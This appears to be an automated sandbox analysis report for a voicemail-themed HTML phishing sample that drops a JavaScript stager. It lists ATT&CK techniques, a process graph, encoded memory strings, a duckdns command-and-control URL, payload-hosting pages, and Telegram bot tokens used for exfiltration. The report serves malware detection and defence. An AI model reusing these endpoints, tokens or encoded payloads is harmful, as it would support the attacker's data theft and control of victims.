                    Source: wscript.exe, 0000000B.00000003.2051408699.0000000005915000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: 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
                    Source: wscript.exe, 0000000C.00000003.2093542712.0000000005CC5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: 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

                    Mitre Att&ck Matrix

                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity Information21
                    Scripting                    		Valid Accounts11
                    Windows Management Instrumentation                    		21
                    Scripting                    		111
                    Process Injection                    		1
                    Masquerading                    		OS Credential Dumping131
                    Security Software Discovery                    		1
                    Remote Desktop Protocol                    		Data from Local System2
                    Web Service                    		Exfiltration Over Other Network MediumAbuse Accessibility Features
                    CredentialsDomainsDefault Accounts1
                    Exploitation for Client Execution                    		21
                    Registry Run Keys / Startup Folder                    		21
                    Registry Run Keys / Startup Folder                    		1
                    Disable or Modify Tools                    		LSASS Memory31
                    Virtualization/Sandbox Evasion                    		Remote Desktop ProtocolData from Removable Media1
                    Encrypted Channel                    		Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain AccountsAt1
                    DLL Side-Loading                    		1
                    DLL Side-Loading                    		31
                    Virtualization/Sandbox Evasion                    		Security Account Manager2
                    File and Directory Discovery                    		SMB/Windows Admin SharesData from Network Shared Drive11
                    Non-Standard Port                    		Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook111
                    Process Injection                    		NTDS3
                    System Information Discovery                    		Distributed Component Object ModelInput Capture1
                    Remote Access Software                    		Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                    Obfuscated Files or Information                    		LSA SecretsInternet Connection DiscoverySSHKeylogging1
                    Ingress Tool Transfer                    		Scheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                    DLL Side-Loading                    		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input Capture3
                    Non-Application Layer Protocol                    		Data Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup ItemsCompile After DeliveryDCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal Capture14
                    Application Layer Protocol                    		Exfiltration Over C2 ChannelInhibit System Recovery

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet
                    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1439837 Sample: Voicemail Jud.html Startdate: 10/05/2024 Architecture: WINDOWS Score: 100 52 masterokrwh.duckdns.org 2->52 54 pastebin.com 2->54 56 3 other IPs or domains 2->56 83 Sigma detected: Register Wscript In Run Key 2->83 85 Snort IDS alert for network traffic 2->85 87 Malicious sample detected (through community Yara rule) 2->87 93 16 other signatures 2->93 10 chrome.exe 16 2->10         started        14 wscript.exe 14 2->14         started        17 wscript.exe 2->17         started        19 2 other processes 2->19 signatures3 89 Uses dynamic DNS services 52->89 91 Connects to a pastebin service (likely for C&C) 54->91 process4 dnsIp5 69 192.168.2.4, 138, 443, 49216 unknown unknown 10->69 71 239.255.255.250 unknown Reserved 10->71 48 C:\...48ew Voicemail May 9 _mp4.zip (copy), Zip 10->48 dropped 21 unarchiver.exe 4 10->21         started        23 chrome.exe 10->23         started        101 System process connects to network (likely due to code injection or exploit) 14->101 103 Windows Scripting host queries suspicious COM object (likely to drop second stage) 14->103 file6 signatures7 process8 dnsIp9 26 cmd.exe 2 2 21->26         started        28 7za.exe 2 21->28         started        58 api.telegram.org 23->58 61 json.geoiplookup.io 104.21.25.148, 443, 49757, 49759 CLOUDFLARENETUS United States 23->61 63 11 other IPs or domains 23->63 signatures10 99 Uses the Telegram API (likely for C&C communication) 58->99 process11 file12 31 wscript.exe 4 16 26->31         started        36 conhost.exe 26->36         started        50 C:\Users\user\...50ew Voicemail May 9 _mp4.js, ASCII 28->50 dropped 38 conhost.exe 28->38         started        process13 dnsIp14 73 pastebin.com 172.67.19.24, 443, 49774, 49775 CLOUDFLARENETUS United States 31->73 44 C:\Users\user\...44ew Voicemail May 9 _mp4.js, ASCII 31->44 dropped 46 C:\Users\user\...46ew Voicemail May 9 _mp4.js, ASCII 31->46 dropped 75 Drops script or batch files to the startup folder 31->75 77 Contains VNC / remote desktop functionality (version string found) 31->77 79 Windows Scripting host queries suspicious COM object (likely to drop second stage) 31->79 81 2 other signatures 31->81 40 wscript.exe 15 31->40         started        file15 signatures16 process17 dnsIp18 65 masterokrwh.duckdns.org 45.133.174.75, 49781, 49782, 49783 ASBLANKPROXIESGB United Kingdom 40->65 67 ip-api.com 208.95.112.1, 49780, 80 TUT-ASUS United States 40->67 95 System process connects to network (likely due to code injection or exploit) 40->95 97 Contains VNC / remote desktop functionality (version string found) 40->97 signatures19

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    ⊘No Antivirus matches

                    Dropped Files

                    ⊘No Antivirus matches

                    Unpacked PE Files

                    ⊘No Antivirus matches

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    https://json.#0%Avira URL Cloudsafe
                    https://cviocemusikdanxcehal.pages.dev/voic.txt0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readysoft0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready#0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready:0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready10%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready1m0%Avira URL Cloudsafe
                    https://json.geoiplookup.io/ZK0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready40%Avira URL Cloudsafe
                    https://json.geoiplookup.io/0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyUSER0%Avira URL Cloudsafe
                    https://pastie.io/raw/rlcqft0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready180%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready130%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyil0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyi0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readym0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readydns.org:8426/is-ready4F=0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyows0%Avira URL Cloudsafe
                    https://json.geoiplookup.io/C0%Avira URL Cloudsafe
                    file:///C:/Users/user/Desktop/Voicemail%20Jud.html0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready4o0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyz0%Avira URL Cloudsafe
                    https://cloudgoogle.pages.dev/love.js0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readycemail0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready1I0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readycom0%Avira URL Cloudsafe
                    https://json.geoiplookup.io/S0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready4C0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyWdtP.0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyCreationClassName0%Avira URL Cloudsafe
                    https://json.geo0%Avira URL Cloudsafe
                    https://json.geou0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-ready4E0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyP0%Avira URL Cloudsafe
                    http://masterokrwh.duckdns.org:8426/is-readyT0%Avira URL Cloudsafe

                    Domains and IPs

                    Contacted Domains

                    NameIPActiveMaliciousAntivirus DetectionReputation
                    json.geoiplookup.io
                    		104.21.25.148
                    		truetrue
                      		unknown
                      pastie.io
                      		172.67.162.195
                      		truefalse
                        		unknown
                        icons.iconarchive.com
                        		104.21.235.214
                        		truefalse
                          		high
                          www.google.com
                          		172.217.4.68
                          		truefalse
                            		high
                            cviocemusikdanxcehal.pages.dev
                            		172.66.44.230
                            		truefalse
                              		unknown
                              ip-api.com
                              		208.95.112.1
                              		truefalse
                                		high
                                cloudgoogle.pages.dev
                                		172.66.47.2
                                		truefalse
                                  		unknown
                                  api.telegram.org
                                  		149.154.167.220
                                  		truefalse
                                    		high
                                    pastebin.com
                                    		172.67.19.24
                                    		truefalse
                                      		high
                                      ipv4.imgur.map.fastly.net
                                      		199.232.192.193
                                      		truefalse
                                        		unknown
                                        masterokrwh.duckdns.org
                                        		45.133.174.75
                                        		truetrue
                                          		unknown
                                          i.stack.imgur.com
                                          		unknown
                                          		unknownfalse
                                            		high

                                            Contacted URLs

                                            NameMaliciousAntivirus DetectionReputation
                                            https://cviocemusikdanxcehal.pages.dev/voic.txtfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://icons.iconarchive.com/icons/dakirby309/simply-styled/256/Microsoft-SharePoint-2013-icon.pngfalse
                                              		high
                                              https://json.geoiplookup.io/true
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://i.stack.imgur.com/ZU3tO.png,%20&width=450false
                                                		high
                                                http://ip-api.com/json/false
                                                  		high
                                                  https://pastie.io/raw/rlcqftfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  file:///C:/Users/user/Desktop/Voicemail%20Jud.htmltrue
                                                  • Avira URL Cloud: safe
                                                  		low
                                                  https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessagefalse
                                                    		high
                                                    https://cloudgoogle.pages.dev/love.jsfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://masterokrwh.duckdns.org:8426/is-readytrue
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://api.telegram.org/bot7198128499:AAHSvX4jW6n9t45ItKyUTcn3TOm2bCJdS-s/sendMessagefalse
                                                      		high
                                                      https://pastebin.com/raw/NsQ5qTHrfalse
                                                        		high
                                                        http://pastebin.com/raw/NsQ5qTHrfalse
                                                          		high

                                                          URLs from Memory and Binaries

                                                          NameSourceMaliciousAntivirus DetectionReputation
                                                          https://api.telegram.org/botwscript.exe, 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessagex~wscript.exe, 0000000B.00000003.2093298186.00000000032FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093476765.0000000003302000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095486810.000000000331F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093647514.000000000331E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.00000000032F6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://masterokrwh.duckdns.org:8426/is-ready#wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              http://ip-api.com/wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://masterokrwh.duckdns.org:8426/is-ready:wscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAOwscript.exe, 0000000B.00000003.2094115487.0000000003515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092299826.0000000006A37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092655310.0000000006A45000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092655310.0000000006A42000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2097565335.0000000006A45000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2097565335.0000000006A43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092593579.0000000006A1A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094688191.0000000006A1B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092452012.0000000006A3C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C5D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.0000021013A0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.0000021013A4B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3661737304.00000210112E5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://masterokrwh.duckdns.org:8426/is-ready4wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  http://masterokrwh.duckdns.org:8426/is-ready1wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  https://pastebin.com/raw/NsQ5qTHrawscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://api.telegram.org/botx67wscript.exe, 00000011.00000002.3662046027.00000210130B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://pastebin.com/raw/NsQ5qTHrewscript.exe, 00000011.00000002.3661806513.0000021012F35000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://pastebin.com/raw/NsQ5qTHr9wscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://pastebin.com/raw/NsQ5qTHrstwscript.exe, 00000011.00000002.3661806513.0000021012F35000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://json.#wscript.exe, 0000000B.00000003.2094772697.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095984043.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094069081.000000000591A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://ip-api.com/json/%wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://pastebin.com/raw/NsQ5qTHr.G5u1wscript.exe, 0000000C.00000002.3663596969.0000000006C18000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://ip-api.com/json/43wscript.exe, 00000011.00000003.2444699579.00000210130B7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://api.telegram.org/wscript.exe, 0000000B.00000002.2097000697.00000000069D0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.00000210139C7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://json.geoiplookup.io/ZKwscript.exe, 0000000B.00000003.2093298186.000000000334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.000000000334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095486810.0000000003353000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093858081.0000000003352000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
